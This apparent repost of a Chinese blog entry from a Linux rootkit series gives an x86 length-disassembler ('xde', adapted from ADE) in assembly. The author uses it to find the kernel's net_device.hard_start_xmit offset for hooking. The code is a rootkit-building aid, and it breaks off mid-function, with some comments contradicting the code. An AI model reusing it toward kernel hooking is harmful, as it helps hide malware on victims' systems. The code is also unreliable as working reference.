rootkit for linux 7.大杀器---反汇编引擎xde

来源:互联网 发布:激光表面淬火知乎 编辑:程序博客网 时间:2024/05/17 00:58

今天在找net_device.hard_start_xmit的偏移的时候,发现手动波完全不能用了。于是,在网上找了ade的开源反汇编引擎,用asm自己再写了一遍,大概知道了流程。

不是有意改成xde的,是我记错了名字。把ade记成了xde。。

今天发现自己的汇编底子不行啊,c -> asm 都这么吃力,更何况 asm -> c。

 

关于反汇编引擎,网上有教程的,也有开源的example,但不多。如果有啥不清楚,可以查 intel 的那几本手册的,那个讲得最清楚。

经过测试,发现ade不支持prefetchnta指令。这jb指令是在 list_for_each_rcu 里出现的。都不知道啥意思,不过改了 ade_table 的一个字段的值就能正常反汇编了。

 

贴代码贴代码:

  1. EXPORT_LABEL(xde_table)
  2. .long  C_MODRM      // 00 
  3. .long  C_MODRM      // 01 
  4. .long  C_MODRM      // 02 
  5. .long  C_MODRM      // 03 
  6. .long  C_DATA1      // 04 
  7. .long  C_DATA66     // 05 
  8. .long  C_BAD    // 06 
  9. .long  C_BAD    // 07 
  10. .long  C_MODRM      // 08 
  11. .long  C_MODRM      // 09 
  12. .long  C_MODRM      // 0A 
  13. .long  C_MODRM      // 0B 
  14. .long  C_DATA1      // 0C 
  15. .long  C_DATA66     // 0D 
  16. .long  C_BAD    // 0E 
  17. .long  C_OPCODE2    // 0F 
  18. .long  C_MODRM+C_BAD    // 10 
  19. .long  C_MODRM      // 11 
  20. .long  C_MODRM+C_BAD    // 12 
  21. .long  C_MODRM      // 13 
  22. .long  C_DATA1+C_BAD    // 14 
  23. .long  C_DATA66+C_BAD   // 15 
  24. .long  C_BAD    // 16 
  25. .long  C_BAD    // 17 
  26. .long  C_MODRM+C_BAD    // 18 
  27. .long  C_MODRM      // 19 
  28. .long  C_MODRM      // 1A 
  29. .long  C_MODRM      // 1B 
  30. .long  C_DATA1+C_BAD    // 1C 
  31. .long  C_DATA66+C_BAD   // 1D 
  32. .long  C_BAD    // 1E 
  33. .long  C_BAD    // 1F 
  34. .long  C_MODRM      // 20 
  35. .long  C_MODRM      // 21 
  36. .long  C_MODRM      // 22 
  37. .long  C_MODRM      // 23 
  38. .long  C_DATA1      // 24 
  39. .long  C_DATA66     // 25 
  40. .long  C_SEG+C_BAD      // 26 
  41. .long  C_BAD    // 27 
  42. .long  C_MODRM      // 28 
  43. .long  C_MODRM      // 29 
  44. .long  C_MODRM      // 2A 
  45. .long  C_MODRM      // 2B 
  46. .long  C_DATA1      // 2C 
  47. .long  C_DATA66     // 2D 
  48. .long  C_SEG+C_BAD      // 2E 
  49. .long  C_BAD    // 2F 
  50. .long  C_MODRM      // 30 
  51. .long  C_MODRM      // 31 
  52. .long  C_MODRM      // 32 
  53. .long  C_MODRM      // 33 
  54. .long  C_DATA1      // 34 
  55. .long  C_DATA66     // 35 
  56. .long  C_SEG+C_BAD      // 36 
  57. .long  C_BAD    // 37 
  58. .long  C_MODRM      // 38 
  59. .long  C_MODRM      // 39 
  60. .long  C_MODRM      // 3A 
  61. .long  C_MODRM      // 3B 
  62. .long  C_DATA1      // 3C 
  63. .long  C_DATA66     // 3D 
  64. .long  C_SEG+C_BAD      // 3E 
  65. .long  C_BAD    // 3F 
  66. .long  0    // 40 
  67. .long  0    // 41 
  68. .long  0    // 42 
  69. .long  0    // 43 
  70. .long  C_BAD    // 44 
  71. .long  0    // 45 
  72. .long  0    // 46 
  73. .long  0    // 47 
  74. .long  0    // 48 
  75. .long  0    // 49 
  76. .long  0    // 4A 
  77. .long  0    // 4B 
  78. .long  C_BAD    // 4C 
  79. .long  0    // 4D 
  80. .long  0    // 4E 
  81. .long  0    // 4F 
  82. .long  0    // 50 
  83. .long  0    // 51 
  84. .long  0    // 52 
  85. .long  0    // 53 
  86. .long  0    // 54 
  87. .long  0    // 55 
  88. .long  0    // 56 
  89. .long  0    // 57 
  90. .long  0    // 58 
  91. .long  0    // 59 
  92. .long  0    // 5A 
  93. .long  0    // 5B 
  94. .long  C_BAD    // 5C 
  95. .long  0    // 5D 
  96. .long  0    // 5E 
  97. .long  0    // 5F 
  98. .long  C_BAD    // 60 
  99. .long  C_BAD    // 61 
  100. .long  C_MODRM+C_BAD    // 62 
  101. .long  C_MODRM+C_BAD    // 63 
  102. .long  C_SEG    // 64 
  103. .long  C_SEG+C_BAD      // 65 
  104. .long  C_66     // 66 
  105. .long  C_67     // 67 
  106. .long  C_DATA66     // 68 
  107. .long  C_MODRM+C_DATA66     // 69 
  108. .long  C_DATA1      // 6A 
  109. .long  C_MODRM+C_DATA1      // 6B 
  110. .long  C_BAD    // 6C 
  111. .long  C_BAD    // 6D 
  112. .long  C_BAD    // 6E 
  113. .long  C_BAD    // 6F 
  114. .long  C_DATA1+C_REL+C_BAD      // 70 
  115. .long  C_DATA1+C_REL+C_BAD      // 71 
  116. .long  C_DATA1+C_REL    // 72 
  117. .long  C_DATA1+C_REL    // 73 
  118. .long  C_DATA1+C_REL    // 74 
  119. .long  C_DATA1+C_REL    // 75 
  120. .long  C_DATA1+C_REL    // 76 
  121. .long  C_DATA1+C_REL    // 77 
  122. .long  C_DATA1+C_REL    // 78 
  123. .long  C_DATA1+C_REL    // 79 
  124. .long  C_DATA1+C_REL+C_BAD      // 7A 
  125. .long  C_DATA1+C_REL+C_BAD      // 7B 
  126. .long  C_DATA1+C_REL    // 7C 
  127. .long  C_DATA1+C_REL    // 7D 
  128. .long  C_DATA1+C_REL    // 7E 
  129. .long  C_DATA1+C_REL    // 7F 
  130. .long  C_MODRM+C_DATA1      // 80 
  131. .long  C_MODRM+C_DATA66     // 81 
  132. .long  C_MODRM+C_DATA1+C_BAD    // 82 
  133. .long  C_MODRM+C_DATA1      // 83 
  134. .long  C_MODRM      // 84 
  135. .long  C_MODRM      // 85 
  136. .long  C_MODRM      // 86 
  137. .long  C_MODRM      // 87 
  138. .long  C_MODRM      // 88 
  139. .long  C_MODRM      // 89 
  140. .long  C_MODRM      // 8A 
  141. .long  C_MODRM      // 8B 
  142. .long  C_MODRM+C_BAD    // 8C 
  143. .long  C_MODRM      // 8D 
  144. .long  C_MODRM+C_BAD    // 8E 
  145. .long  C_MODRM      // 8F 
  146. .long  0    // 90 
  147. .long  0    // 91 
  148. .long  0    // 92 
  149. .long  C_BAD    // 93 
  150. .long  C_BAD    // 94 
  151. .long  C_BAD    // 95 
  152. .long  C_BAD    // 96 
  153. .long  C_BAD    // 97 
  154. .long  C_BAD    // 98 
  155. .long  0    // 99 
  156. .long  C_DATA66+C_DATA2+C_BAD   // 9A 
  157. .long  0    // 9B 
  158. .long  C_BAD    // 9C 
  159. .long  C_BAD    // 9D 
  160. .long  C_BAD    // 9E 
  161. .long  C_BAD    // 9F 
  162. .long  C_ADDR67     // A0 
  163. .long  C_ADDR67     // A1 
  164. .long  C_ADDR67     // A2 
  165. .long  C_ADDR67     // A3 
  166. .long  0    // A4 
  167. .long  0    // A5 
  168. .long  0    // A6 
  169. .long  0    // A7 
  170. .long  C_DATA1      // A8 
  171. .long  C_DATA66     // A9 
  172. .long  0    // AA 
  173. .long  0    // AB 
  174. .long  0    // AC 
  175. .long  C_BAD    // AD 
  176. .long  0    // AE 
  177. .long  C_BAD    // AF 
  178. .long  C_DATA1      // B0 
  179. .long  C_DATA1      // B1 
  180. .long  C_DATA1      // B2 
  181. .long  C_DATA1      // B3 
  182. .long  C_DATA1      // B4 
  183. .long  C_DATA1      // B5 
  184. .long  C_DATA1+C_BAD    // B6 
  185. .long  C_DATA1+C_BAD    // B7 
  186. .long  C_DATA66     // B8 
  187. .long  C_DATA66     // B9 
  188. .long  C_DATA66     // BA 
  189. .long  C_DATA66     // BB 
  190. .long  C_DATA66+C_BAD   // BC 
  191. .long  C_DATA66     // BD 
  192. .long  C_DATA66     // BE 
  193. .long  C_DATA66     // BF 
  194. .long  C_MODRM+C_DATA1      // C0 
  195. .long  C_MODRM+C_DATA1      // C1 
  196. .long  C_DATA2+C_STOP   // C2 
  197. .long  C_STOP   // C3 
  198. .long  C_MODRM+C_BAD    // C4 
  199. .long  C_MODRM+C_BAD    // C5 
  200. .long  C_MODRM+C_DATA1      // C6 
  201. .long  C_MODRM+C_DATA66     // C7 
  202. .long  C_DATA2+C_DATA1      // C8 
  203. .long  0    // C9 
  204. .long  C_DATA2+C_STOP+C_BAD     // CA 
  205. .long  C_STOP+C_BAD     // CB 
  206. .long  C_BAD    // CC 
  207. .long  C_DATA1      // CD 
  208. .long  C_BAD    // CE 
  209. .long  C_STOP+C_BAD     // CF 
  210. .long  C_MODRM      // D0 
  211. .long  C_MODRM      // D1 
  212. .long  C_MODRM      // D2 
  213. .long  C_MODRM      // D3 
  214. .long  C_DATA1+C_BAD    // D4 
  215. .long  C_DATA1+C_BAD    // D5 
  216. .long  C_BAD    // D6 
  217. .long  C_BAD    // D7 
  218. .long  C_MODRM      // D8 
  219. .long  C_MODRM      // D9 
  220. .long  C_MODRM      // DA 
  221. .long  C_MODRM      // DB 
  222. .long  C_MODRM      // DC 
  223. .long  C_MODRM      // DD 
  224. .long  C_MODRM      // DE 
  225. .long  C_MODRM      // DF 
  226. .long  C_DATA1+C_REL+C_BAD      // E0 
  227. .long  C_DATA1+C_REL+C_BAD      // E1 
  228. .long  C_DATA1+C_REL    // E2 
  229. .long  C_DATA1+C_REL    // E3 
  230. .long  C_DATA1+C_BAD    // E4 
  231. .long  C_DATA1+C_BAD    // E5 
  232. .long  C_DATA1+C_BAD    // E6 
  233. .long  C_DATA1+C_BAD    // E7 
  234. .long  C_DATA66+C_REL   // E8 
  235. .long  C_DATA66+C_REL+C_STOP    // E9 
  236. .long  C_DATA66+C_DATA2+C_BAD   // EA 
  237. .long  C_DATA1+C_REL+C_STOP     // EB 
  238. .long  C_BAD    // EC 
  239. .long  C_BAD    // ED 
  240. .long  C_BAD    // EE 
  241. .long  C_BAD    // EF 
  242. .long  C_LOCK+C_BAD     // F0 
  243. .long  C_BAD    // F1 
  244. .long  C_REP    // F2 
  245. .long  C_REP    // F3 
  246. .long  C_BAD    // F4 
  247. .long  C_BAD    // F5 
  248. .long  C_MODRM      // F6 
  249. .long  C_MODRM      // F7 
  250. .long  0    // F8 
  251. .long  0    // F9 
  252. .long  C_BAD    // FA 
  253. .long  C_BAD    // FB 
  254. .long  0    // FC 
  255. .long  0    // FD 
  256. .long  C_MODRM      // FE 
  257. .long  C_MODRM      // FF 
  258. .long  C_MODRM      // 00 
  259. .long  C_MODRM      // 01 
  260. .long  C_MODRM      // 02 
  261. .long  C_MODRM      // 03 
  262. .long  C_ERROR      // 04 
  263. .long  C_ERROR      // 05 
  264. .long  0    // 06 
  265. .long  C_ERROR      // 07 
  266. .long  0    // 08 
  267. .long  0    // 09 
  268. .long  0    // 0A 
  269. .long  0    // 0B 
  270. .long  C_ERROR      // 0C 
  271. .long  C_ERROR      // 0D 
  272. .long  C_ERROR      // 0E 
  273. .long  C_ERROR      // 0F 
  274. .long  C_ERROR      // 10 
  275. .long  C_ERROR      // 11 
  276. .long  C_ERROR      // 12 
  277. .long  C_ERROR      // 13 
  278. .long  C_ERROR      // 14 
  279. .long  C_ERROR      // 15 
  280. .long  C_ERROR      // 16 
  281. .long  C_ERROR      // 17 
  282. .long  C_MODRM      // 18 
  283. .long  C_ERROR      // 19 
  284. .long  C_ERROR      // 1A 
  285. .long  C_ERROR      // 1B 
  286. .long  C_ERROR      // 1C 
  287. .long  C_ERROR      // 1D 
  288. .long  C_ERROR      // 1E 
  289. .long  C_ERROR      // 1F 
  290. .long  C_ERROR      // 20 
  291. .long  C_ERROR      // 21 
  292. .long  C_ERROR      // 22 
  293. .long  C_ERROR      // 23 
  294. .long  C_ERROR      // 24 
  295. .long  C_ERROR      // 25 
  296. .long  C_ERROR      // 26 
  297. .long  C_ERROR      // 27 
  298. .long  C_ERROR      // 28 
  299. .long  C_ERROR      // 29 
  300. .long  C_ERROR      // 2A 
  301. .long  C_ERROR      // 2B 
  302. .long  C_ERROR      // 2C 
  303. .long  C_ERROR      // 2D 
  304. .long  C_ERROR      // 2E 
  305. .long  C_ERROR      // 2F 
  306. .long  C_ERROR      // 30 
  307. .long  C_ERROR      // 31 
  308. .long  C_ERROR      // 32 
  309. .long  C_ERROR      // 33 
  310. .long  C_ERROR      // 34 
  311. .long  C_ERROR      // 35 
  312. .long  C_ERROR      // 36 
  313. .long  C_ERROR      // 37 
  314. .long  C_ERROR      // 38 
  315. .long  C_ERROR      // 39 
  316. .long  C_ERROR      // 3A 
  317. .long  C_ERROR      // 3B 
  318. .long  C_ERROR      // 3C 
  319. .long  C_ERROR      // 3D 
  320. .long  C_ERROR      // 3E 
  321. .long  C_ERROR      // 3F 
  322. .long  C_MODRM      // 40 
  323. .long  C_MODRM      // 41 
  324. .long  C_MODRM      // 42 
  325. .long  C_MODRM      // 43 
  326. .long  C_MODRM      // 44 
  327. .long  C_MODRM      // 45 
  328. .long  C_MODRM      // 46 
  329. .long  C_MODRM      // 47 
  330. .long  C_MODRM      // 48 
  331. .long  C_MODRM      // 49 
  332. .long  C_MODRM      // 4A 
  333. .long  C_MODRM      // 4B 
  334. .long  C_MODRM      // 4C 
  335. .long  C_MODRM      // 4D 
  336. .long  C_MODRM      // 4E 
  337. .long  C_MODRM      // 4F 
  338. .long  C_ERROR      // 50 
  339. .long  C_ERROR      // 51 
  340. .long  C_ERROR      // 52 
  341. .long  C_ERROR      // 53 
  342. .long  C_ERROR      // 54 
  343. .long  C_ERROR      // 55 
  344. .long  C_ERROR      // 56 
  345. .long  C_ERROR      // 57 
  346. .long  C_ERROR      // 58 
  347. .long  C_ERROR      // 59 
  348. .long  C_ERROR      // 5A 
  349. .long  C_ERROR      // 5B 
  350. .long  C_ERROR      // 5C 
  351. .long  C_ERROR      // 5D 
  352. .long  C_ERROR      // 5E 
  353. .long  C_ERROR      // 5F 
  354. .long  C_ERROR      // 60 
  355. .long  C_ERROR      // 61 
  356. .long  C_ERROR      // 62 
  357. .long  C_ERROR      // 63 
  358. .long  C_ERROR      // 64 
  359. .long  C_ERROR      // 65 
  360. .long  C_ERROR      // 66 
  361. .long  C_ERROR      // 67 
  362. .long  C_ERROR      // 68 
  363. .long  C_ERROR      // 69 
  364. .long  C_ERROR      // 6A 
  365. .long  C_ERROR      // 6B 
  366. .long  C_ERROR      // 6C 
  367. .long  C_ERROR      // 6D 
  368. .long  C_ERROR      // 6E 
  369. .long  C_ERROR      // 6F 
  370. .long  C_ERROR      // 70 
  371. .long  C_ERROR      // 71 
  372. .long  C_ERROR      // 72 
  373. .long  C_ERROR      // 73 
  374. .long  C_ERROR      // 74 
  375. .long  C_ERROR      // 75 
  376. .long  C_ERROR      // 76 
  377. .long  C_ERROR      // 77 
  378. .long  C_ERROR      // 78 
  379. .long  C_ERROR      // 79 
  380. .long  C_ERROR      // 7A 
  381. .long  C_ERROR      // 7B 
  382. .long  C_ERROR      // 7C 
  383. .long  C_ERROR      // 7D 
  384. .long  C_ERROR      // 7E 
  385. .long  C_ERROR      // 7F 
  386. .long  C_DATA66+C_REL   // 80 
  387. .long  C_DATA66+C_REL   // 81 
  388. .long  C_DATA66+C_REL   // 82 
  389. .long  C_DATA66+C_REL   // 83 
  390. .long  C_DATA66+C_REL   // 84 
  391. .long  C_DATA66+C_REL   // 85 
  392. .long  C_DATA66+C_REL   // 86 
  393. .long  C_DATA66+C_REL   // 87 
  394. .long  C_DATA66+C_REL   // 88 
  395. .long  C_DATA66+C_REL   // 89 
  396. .long  C_DATA66+C_REL   // 8A 
  397. .long  C_DATA66+C_REL   // 8B 
  398. .long  C_DATA66+C_REL   // 8C 
  399. .long  C_DATA66+C_REL   // 8D 
  400. .long  C_DATA66+C_REL   // 8E 
  401. .long  C_DATA66+C_REL   // 8F 
  402. .long  C_MODRM      // 90 
  403. .long  C_MODRM      // 91 
  404. .long  C_MODRM      // 92 
  405. .long  C_MODRM      // 93 
  406. .long  C_MODRM      // 94 
  407. .long  C_MODRM      // 95 
  408. .long  C_MODRM      // 96 
  409. .long  C_MODRM      // 97 
  410. .long  C_MODRM      // 98 
  411. .long  C_MODRM      // 99 
  412. .long  C_MODRM      // 9A 
  413. .long  C_MODRM      // 9B 
  414. .long  C_MODRM      // 9C 
  415. .long  C_MODRM      // 9D 
  416. .long  C_MODRM      // 9E 
  417. .long  C_MODRM      // 9F 
  418. .long  0    // A0 
  419. .long  0    // A1 
  420. .long  0    // A2 
  421. .long  C_MODRM      // A3 
  422. .long  C_MODRM+C_DATA1      // A4 
  423. .long  C_MODRM      // A5 
  424. .long  C_ERROR      // A6 
  425. .long  C_ERROR      // A7 
  426. .long  0    // A8 
  427. .long  0    // A9 
  428. .long  0    // AA 
  429. .long  C_MODRM      // AB 
  430. .long  C_MODRM+C_DATA1      // AC 
  431. .long  C_MODRM      // AD 
  432. .long  C_ERROR      // AE 
  433. .long  C_MODRM      // AF 
  434. .long  C_MODRM      // B0 
  435. .long  C_MODRM      // B1 
  436. .long  C_MODRM      // B2 
  437. .long  C_MODRM      // B3 
  438. .long  C_MODRM      // B4 
  439. .long  C_MODRM      // B5 
  440. .long  C_MODRM      // B6 
  441. .long  C_MODRM      // B7 
  442. .long  C_ERROR      // B8 
  443. .long  C_ERROR      // B9 
  444. .long  C_MODRM+C_DATA1      // BA 
  445. .long  C_MODRM      // BB 
  446. .long  C_MODRM      // BC 
  447. .long  C_MODRM      // BD 
  448. .long  C_MODRM      // BE 
  449. .long  C_MODRM      // BF 
  450. .long  C_MODRM      // C0 
  451. .long  C_MODRM      // C1 
  452. .long  C_ERROR      // C2 
  453. .long  C_ERROR      // C3 
  454. .long  C_ERROR      // C4 
  455. .long  C_ERROR      // C5 
  456. .long  C_ERROR      // C6 
  457. .long  C_ERROR      // C7 
  458. .long  0    // C8 
  459. .long  0    // C9 
  460. .long  0    // CA 
  461. .long  0    // CB 
  462. .long  0    // CC 
  463. .long  C_DATA1      // CD 
  464. .long  0    // CE 
  465. .long  0    // CF 
  466. .long  C_ERROR      // D0 
  467. .long  C_ERROR      // D1 
  468. .long  C_ERROR      // D2 
  469. .long  C_ERROR      // D3 
  470. .long  C_ERROR      // D4 
  471. .long  C_ERROR      // D5 
  472. .long  C_ERROR      // D6 
  473. .long  C_ERROR      // D7 
  474. .long  C_ERROR      // D8 
  475. .long  C_ERROR      // D9 
  476. .long  C_ERROR      // DA 
  477. .long  C_ERROR      // DB 
  478. .long  C_ERROR      // DC 
  479. .long  C_ERROR      // DD 
  480. .long  C_ERROR      // DE 
  481. .long  C_ERROR      // DF 
  482. .long  C_ERROR      // E0 
  483. .long  C_ERROR      // E1 
  484. .long  C_ERROR      // E2 
  485. .long  C_ERROR      // E3 
  486. .long  C_ERROR      // E4 
  487. .long  C_ERROR      // E5 
  488. .long  C_ERROR      // E6 
  489. .long  C_ERROR      // E7 
  490. .long  C_ERROR      // E8 
  491. .long  C_ERROR      // E9 
  492. .long  C_ERROR      // EA 
  493. .long  C_ERROR      // EB 
  494. .long  C_ERROR      // EC 
  495. .long  C_ERROR      // ED 
  496. .long  C_ERROR      // EE 
  497. .long  C_ERROR      // EF 
  498. .long  C_ERROR      // F0 
  499. .long  C_ERROR      // F1 
  500. .long  C_ERROR      // F2 
  501. .long  C_ERROR      // F3 
  502. .long  C_ERROR      // F4 
  503. .long  C_ERROR      // F5 
  504. .long  C_ERROR      // F6 
  505. .long  C_ERROR      // F7 
  506. .long  C_ERROR      // F8 
  507. .long  C_ERROR      // F9 
  508. .long  C_ERROR      // FA 
  509. .long  C_ERROR      // FB 
  510. .long  C_ERROR      // FC 
  511. .long  C_ERROR      // FD 
  512. .long  C_ERROR      // FE 
  513. .long  C_ERROR      // FF 

 

 

  1. #define C_ERROR   0xFFFFFFFF
  2. #define C_ADDR1   0x00000001 //操作码中地址大小的位字段(字节)
  3. #define C_ADDR2   0x00000002
  4. #define C_ADDR4   0x00000004 //(双字)
  5. #define C_LOCK    0x00000008 //加锁前缀
  6. #define C_67      0x00000010 //地址大小修饰前缀(16/32位)
  7. #define C_66      0x00000020 //操作数大小修饰前缀(16/32位)
  8. #define C_REP     0x00000040 //重复前缀
  9. #define C_SEG     0x00000080 //段寄存器前缀
  10. #define C_ANYPREFIX  (C_66+C_67+C_LOCK+C_REP+C_SEG)
  11. #define C_DATA1   0x00000100 //操作码中数据大小的位字段
  12. #define C_DATA2   0x00000200
  13. #define C_DATA4   0x00000400
  14. #define C_SIB     0x00000800 //SIB字节
  15. #define C_ADDR67  0x00001000 //地址字节数为disasm_defaddr
  16. #define C_DATA66  0x00002000 //数据字节数为disasm_defdata
  17. #define C_MODRM   0x00004000 //MODRM字节
  18. #define C_BAD     0x00008000
  19. #define C_OPCODE2 0x00010000 //操作码第二个字节
  20. #define C_REL     0x00020000 // 这是跳转指令jxx或者call
  21. #define C_STOP    0x00040000 // 这是回跳指令,ret_code或者jmp
  22. /*
  23. struct dism
  24. {
  25.   BYTE  defaddr;         // 00
  26.   BYTE  defdata;         // 01
  27.   DWORD len;             // 02 03 04 05
  28.   DWORD flag;            // 06 07 08 09
  29.   DWORD addrsize;        // 0A 0B 0C 0D
  30.   DWORD datasize;        // 0E 0F 10 11
  31.   BYTE  rep;             // 12
  32.   BYTE  seg;             // 13
  33.   BYTE  opcode;          // 14
  34.   BYTE  opcode2;         // 15
  35.   BYTE  modrm;           // 16
  36.   BYTE  sib;             // 17
  37.   BYTE  addr[8];            // 18
  38.   BYTE  data[8];            // 20
  39. };
  40. */
  41. #define dism_defaddr 0x0
  42. #define dism_defdata 0x1
  43. #define dism_len 0x2
  44. #define dism_flag 0x6
  45. #define dism_addrsize 0xa
  46. #define dism_datasize 0xe
  47. #define dism_rep 0x12
  48. #define dism_seg 0x13
  49. #define dism_opcode 0x14
  50. #define dism_opcode2 0x15
  51. #define dism_modrm 0x16
  52. #define dism_sib 0x17
  53. #define dism_addr 0x18
  54. #define dism_data 0x20
  55. #define sizeof_dism 0x28

 

 

  1. #include "xde_table.s"
  2. // int fastcall xde_dism(void *code, struct dism *di); 
  3. // @code: the code to dism
  4. // @di: the dism struct
  5. // ret_codeurn: dism->len
  6. EXPORT_LABEL(xde_dism)
  7. #define ret_code 0
  8. #define mod 4
  9. #define rm 5
  10. #define opcode 6
  11.     pushl %ebx
  12.     pushl %ecx
  13.     pushl %edx
  14.     pushl %esi
  15.     pushl %edi
  16.     movl %eax, %esi
  17.     movl %edx, %edi
  18.     subl $0x20, %esp
  19.     movl %esi, opcode(%esp)
  20.     movl $0x28, %ecx
  21.     movl %edi, %eax
  22. 1:  movb $0, (%eax)
  23.     incl %eax
  24.     loop 1b
  25.     // memset(di, 0, sizeof(*di));
  26.     movb $4, dism_defdata(%edi)
  27.     movb $4, dism_defaddr(%edi)
  28.     movl $0, ret_code(%esp)
  29.     // ret_code = 0;
  30.     movw (%esi), %bx
  31.     cmpw $0x0000, %bx
  32.     jz xd_out
  33.     cmpw $0xFFFF, %bx
  34.     jz xd_out
  35.     // if (*code == 0xFFFF || *code == 0x0)
  36.         // ret_codeurn 0;
  37.         
  38. repeat_prefix:
  39.     movzbl (%esi), %eax
  40.     incl %esi
  41.     GET_ADDR(xde_table, %ebx)
  42.     movl 0(%ebx, %eax, 4), %ecx
  43.     // c = *code++;
  44.     // t = xde_table[c];
  45.     testl $C_ANYPREFIX, %ecx
  46.     jz 1f
  47.     // if (t & C_ANYPREFIX) {
  48.         testl %ecx, dism_flag(%edi)
  49.         jz 2f
  50.         // if (t & dism->flag) {
  51.             movl $0, ret_code(%esp)
  52.             jmp xd_out
  53.         // ret_codeurn 0;
  54.         2:// }
  55.         orl %ecx, dism_flag(%edi)
  56.         // dism->flag |= t;
  57.         testl $C_67, %ecx
  58.         jz 3f
  59.         // if (t & C_67) 
  60.         xorb $6, dism_defaddr(%edi)
  61.             // di->defaddr ^= 6;
  62.         jmp 6f
  63.         
  64.         3:
  65.         testl $C_66, %ecx
  66.         jz 4f
  67.         // if (t & C_66)
  68.         xorb $6, dism_defdata(%edi)
  69.             // di->defdata ^= 6;
  70.         jmp 6f
  71.         
  72.         4:
  73.         testl $C_SEG, %ecx
  74.         jz 7f
  75.         // if (t & C_SEG) 
  76.         movb %al, dism_seg(%edi)
  77.             // di->seg = c;
  78.         jmp 6f
  79.         7:
  80.         testl $C_REP, %ecx
  81.         jz 6f
  82.         // if (t & C_REP)
  83.         movb %al, dism_rep(%edi)
  84.             // di->req = c;
  85.         6:
  86.         jmp repeat_prefix
  87.     1:
  88.     // }
  89.     orl %ecx, dism_flag(%edi)
  90.     movb %al, dism_opcode(%edi)
  91.     // di->flag |= t; di->opcode = c;
  92.     cmpb $0x0F, %al
  93.     jnz 5f
  94.     // if (c == 0x0F) {
  95.         
  96.         movzbl (%esi), %eax
  97.         incl %esi
  98.         // c = *code++;
  99.         movb %al, dism_opcode2(%edi)
  100.         GET_ADDR(xde_table, %ebx)
  101.         movl (256 * 4)(%ebx, %eax, 4), %ecx
  102.         orl %ecx, dism_flag(%edi)
  103.         // di->opcode2 = c; flag |= xde_table[256 + c];
  104.         cmpl $C_ERROR, dism_flag(%edi)
  105.         jnz 8f
  106.         // if (flags == C_ERROR) {
  107.             movl $0, ret_code(%esp)
  108.             jmp xd_out
  109.         // ret_codeurn 0;
  110.         8:
  111.         // }
  112.         jmp 9f
  113.     5:
  114.     cmpb $0xF7, %al
  115.     jnz 10f
  116.     // } else if (c == 0xF7) {
  117.         
  118.         movb (%esi), %bl
  119.         testb $0x38, %bl
  120.         jnz 11f
  121.         // if (!(*code & 0x38)) 
  122.             orl $C_DATA66, dism_flag(%edi)
  123.             // di->flag |= C_DATA66;
  124.         11:
  125.         jmp 9f
  126.     10:
  127.     cmpb $0xF6, %al
  128.     jnz 9f
  129.     // } else if (c == 0xF6) {
  130.         movb (%esi), %bl
  131.         testb $0x38, %bl
  132.         jnz 12f
  133.         // if (!(*code & 0x38)) 
  134.             orl $C_DATA66, dism_flag(%edi)
  135.             // di->flag |= C_DATA1;
  136.     12: 
  137.     // }
  138.     9:
  139.     testl $C_MODRM, dism_flag(%edi)
  140.     jz 13f
  141.     // if (flag & C_MODRM) {
  142.         movb (%esi), %al
  143.         incl %esi
  144.         // c = *code++
  145.         movb %al, dism_modrm(%edi)
  146.         // di->modrm = c;
  147.         movb %al, %ah
  148.         andb $0x38, %ah
  149.         cmpb $0x20, %ah
  150.         jnz 14f
  151.         cmpb $0xFF, dism_opcode(%edi)
  152.         jnz 14f
  153.         // if ((c & 0x38) == 0x20 && dism->opcode == 0xFF) 
  154.             orl $C_STOP, dism_flag(%edi)
  155.             // di->flag |= C_STOP
  156.         14:
  157.         movb %al, mod(%esp)
  158.         andb $0xC0, mod(%esp)
  159.         movb %al, rm(%esp)
  160.         andb $0x07, rm(%esp)
  161.         // mod = c & 0xC0; rm = c & 0x07;
  162.         cmpb $0xC0, mod(%esp)
  163.         jz 15f
  164.         // if (mod != 0xC0) {
  165.             
  166.             cmpb $0x4, dism_defaddr(%edi)
  167.             jnz 18f
  168.             // if (di->defaddr == 0x4) {
  169.                 
  170.                 cmpb $0x4, rm(%esp)
  171.                 jnz 24f
  172.                 // if (rm == 4) {
  173.                     orl $C_SIB, dism_flag(%edi)
  174.                     // di->flag |= C_SIB;
  175.                     movzbl (%esi), %eax
  176.                     incl %esi
  177.                     // c = *code++;
  178.                     movb %al, dism_sib(%edi)
  179.                     // di->sib = c;
  180.                     movb %al, rm(%esp)
  181.                     andb $0x7, rm(%esp)
  182.                     // rm = c & 0x7;
  183.                 24:
  184.                 // }
  185.                 cmpb $0x40, mod(%esp)
  186.                 jnz 17f
  187.                 // if (mod == 0x40) 
  188.                     orl $C_ADDR1, dism_flag(%edi)
  189.                     // di->flag |= C_ADDR1;
  190.                     jmp 21f
  191.                 17:
  192.                 cmpb $0x80, mod(%esp)
  193.                 jnz 19f
  194.                 // else if (mod == 0x80)
  195.                     orl $C_ADDR4, dism_flag(%edi)
  196.                     // di->flag |= C_ADDR4;
  197.                     jmp 21f
  198.                 19:
  199.                 cmpb $0x5, rm(%esp)
  200.                 jnz 21f
  201.                 // else if (rm == 5)
  202.                     orl $C_ADDR4, dism_flag(%edi)
  203.                     // di->flag |= C_ADDR4;
  204.                 
  205.                 21:
  206.                 jmp 20f
  207.             18: 
  208.             // } else { 
  209.                 
  210.                 cmpb $0x40, mod(%esp)
  211.                 jnz 22f
  212.                 // if (mod == 0x40) 
  213.                     orl $C_ADDR1, dism_flag(%edi)
  214.                     // di->flag |= C_ADDR1;
  215.                     jmp 23f
  216.                 22:
  217.                 cmpb $0x80, mod(%esp)
  218.                 jz 24f
  219.                 // else if (mod == 0x80)
  220.                     orl $C_ADDR2, dism_flag(%edi)
  221.                     // di->flag |= C_ADDR2;
  222.                     jmp 23f
  223.                 24:
  224.                 cmpb $0x6, rm(%esp)
  225.                 // else if (rm == 6)
  226.                     orl $C_ADDR2, dism_flag(%edi)
  227.                     // di->flag |= C_ADDR2;
  228.                 23:
  229.             20:
  230.             // }
  231.         15:
  232.         // }
  233.     13:
  234.     // }
  235.     movl dism_flag(%edi), %eax
  236.     movl %eax, %ebx
  237.     movl %eax, %ecx
  238.     andl $(C_ADDR1 | C_ADDR2 | C_ADDR4), %eax
  239.     andl $(C_DATA1 | C_DATA2 | C_DATA4), %ebx
  240.     shrl $8, %ebx
  241.     
  242.     testl $C_ADDR67, %ecx
  243.     jz 1f
  244.     addb dism_defaddr(%edi), %al
  245.     1:
  246.     testl $C_DATA66, %ecx
  247.     jz 2f
  248.     addb dism_defdata(%edi), %bl
  249.     2:
  250.     movl %eax, dism_addrsize(%edi)
  251.     movl %ebx, dism_datasize(%edi)
  252.     
  253.     movl %edi, %edx
  254.     movl %eax, %ecx
